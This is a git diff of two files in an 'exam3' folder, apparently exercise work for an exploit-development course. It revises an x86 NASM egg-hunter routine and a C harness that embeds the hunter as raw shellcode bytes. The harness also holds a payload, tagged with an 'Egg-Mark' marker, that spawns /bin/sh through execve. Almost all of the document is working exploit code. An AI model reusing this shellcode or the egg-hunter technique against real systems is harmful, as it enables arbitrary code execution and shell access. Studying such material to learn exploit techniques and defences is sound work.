diff --git a/exam3/hunter.nasm b/exam3/hunter.nasm index c451391..ad12af2 100644 --- a/exam3/hunter.nasm +++ b/exam3/hunter.nasm @@ -28,26 +28,20 @@ global _start _start: - jmp short EggPoint + jmp short huntersEnd continue: - pop eax + pop eax ; Now EAX points at hunters End ; Searching for the Egg marker next: - inc eax ; Searching backwards + inc eax ; Searching forward isEgg: - cmp dword [eax-8], egg1 - jne next + cmp dword [eax-8], egg1 ; Checking if we can see egg1 + jne next ; If not, continuing to search cmp dword [eax-4], egg2 jne next - call eax - - ; EXIT - xor eax, eax - mov al, 1 - xor ebx, ebx - int 0x80 + call eax ; Once found, we call our payload -EggPoint: +huntersEnd: call continue diff --git a/exam3/shellcode.c b/exam3/shellcode.c index 8e1c0fd..376ae30 100644 --- a/exam3/shellcode.c +++ b/exam3/shellcode.c @@ -1,11 +1,11 @@ #include #include -unsigned char hunter[] = "\xeb\x1e\x58\x40\x81\x78\xf8\x63\x75\x73\x74\x75\xf6\x81\x78\xfc\x2e\x65\x67\x67\x75\xed\xff\xd0\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff"; +unsigned char hunter[] = "\xeb\x16\x58\x40\x81\x78\xf8\x45\x67\x67\x2d\x75\xf6\x81\x78\xfc\x4d\x61\x72\x6b\x75\xed\xff\xd0\xe8\xe5\xff\xff\xff"; unsigned char garbage1[] = "Just some garbage here..."; -unsigned char payload[] = "\x63\x75\x73\x74\x2e\x65\x67\x67\x31\xc9\xb1\x08\x48\xe2\xfd\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; +unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc9\xb1\x08\x48\xe2\xfd\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; unsigned char garbage2[] = "And some garbage there...";